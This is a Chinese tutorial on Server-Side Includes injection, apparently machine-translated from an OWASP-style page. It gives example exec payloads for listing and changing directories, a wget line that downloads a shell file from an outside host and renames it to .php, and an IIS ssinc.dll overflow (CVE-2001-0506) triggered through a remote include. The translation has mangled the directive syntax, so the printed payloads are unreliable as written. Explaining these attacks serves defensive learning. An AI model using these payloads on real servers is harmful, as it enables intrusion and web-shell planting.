参考文章 :https://www.secpulse.com/archives/66934.html
描述
SSI是用于向动态内容提供HTML页面的Web应用程序中存在的指令。 它们与CGI类似,不同之处在于SSI用于在加载当前页面之前执行某些操作,或者在页面可视化时执行某些操作。 为此,Web服务器在将页面提供给用户之前分析SSI。服务器端包含攻击允许通过在HTML页面中注入脚本或远程执行任意代码来利用Web应用程序。 它可以通过操纵应用程序中使用的SSI或通过用户输入字段强制使用SSI来利用。
可以通过插入在SSI指令中使用的字符来检查应用程序是否正确验证输入字段数据,如:
<! #= /。 “ - >和[a-zA-Z0-9]
另一种发现应用程序是否易受攻击的方法是验证扩展名为.stm,.shtm和.shtml的网页是否存在。 但是,缺少这些类型的页面并不意味着应用程序受到SSI攻击的保护。
在任何情况下,只有当Web服务器允许SSI执行而没有适当的验证时,攻击才会成功。 这可能导致在Web服务器进程所有者的许可下访问和操作文件系统和进程。
攻击者可以访问密码文件等敏感信息,并执行shell命令。 SSI指令被注入输入字段,并被发送到Web服务器。 Web服务器在提供页面之前解析并执行指令。 然后,下次为用户的浏览器加载页面时,攻击结果将可见。
风险因素
TBD
例子
例1
用于注入SSI的命令因使用的服务器操作系统而异。 以下命令表示应该用于执行OS命令的语法。
Linux的:
目录列表文件:
<! - #exec cmd =“ls” - >
访问目录:
<! - #exec cmd =“cd / root / dir /”>
执行脚本:
<! - #exec cmd =“wget http://mysite.com/shell.txt | rename shell.txt shell.php” - >
视窗:
目录列表文件:
<! - #exec cmd =“dir” - >
访问目录:
<! - #exec cmd =“cd C:\ admin \ dir”>
例2
其他可用于访问和设置服务器信息的SSI示例:
要更改错误消息输出:
<! - #config errmsg =“找不到文件,通知用户和密码” - >
显示当前文档的文件名:
<! - #echo var =“DOCUMENT_NAME” - >
显示虚拟路径和文件名:
<! - #echo var =“DOCUMENT_URI” - >
使用“config”命令和“timefmt”参数,可以控制日期和时间输出格式:
<! - #config timefmt =“A%B%d%Y%r” - >
使用“fsize”命令,可以打印所选文件的大小:
<! - #fsize file =“ssi.shtml” - >
例3
IIS版本4.0和5.0中的旧漏洞允许攻击者通过动态链接库(ssinc.dll)中的缓冲区溢出失败获取系统特权。 “ssinc.dll”用于解释进程服务器端包含。 CVE 2001-0506 。
通过创建包含SSI代码的恶意页面并强制应用程序加载此页面( 路径遍历攻击),可以执行此攻击:
ssi_over.shtml
<! - #include file =“UUUUUUUU ... UU” - >
PS:“U”的数量需要超过2049年。
强制应用程序加载ssi_over.shtml页面:
非恶意网址:
www.vulnerablesite.org/index.asp?page=news.asp
恶意网址:
www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml
如果IIS返回空白页面,则表示发生了溢出。 在这种情况下,攻击者可能会操纵程序流并执行任意代码。